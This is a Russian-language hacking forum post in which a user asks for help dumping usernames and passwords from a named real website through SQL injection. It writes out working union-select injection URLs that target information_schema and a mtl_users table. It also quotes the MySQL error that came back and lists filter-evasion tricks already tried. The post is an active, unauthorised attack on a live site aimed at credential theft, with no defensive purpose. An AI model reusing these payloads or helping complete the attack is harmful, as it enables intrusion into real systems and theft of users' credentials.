|
Познающий
Регистрация: 18.04.2008
Сообщений: 62
Провел на форуме:
279406
Репутация:
37
|
|
Помогите, пожалуйста, вынуть логин и пасс юзеров.
Вот скуля:
http://gta.com.ua/file_details.phtml?id=-1'
Список полей в таблице mtl_users:
http://gta.com.ua/file_details.phtml?id=-1+union+select+1,2,3,column_name,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20+from+information_schema. columns+where+table_name=0x6d746c5f7573657273--
Дальше пытаюсь вывести содержимое полей вот так:
http://gta.com.ua/file_details.phtml?id=-1+union+select+1,2,3,concat_ws(username,0x3a,passw ord),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+fr om+mtl_users--
Но ничего не выходит! Вылазит ошибка
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/gtacom/domains/gta.com.ua/public_html/inc/files_details.html on line 155
Что делать? Как просмотреть данные ролей? Пробовал шифровать название таблицы, колонок (на всякий случай), заменять плюсы на просто пробелы и на /**/ - все равно не выводится  |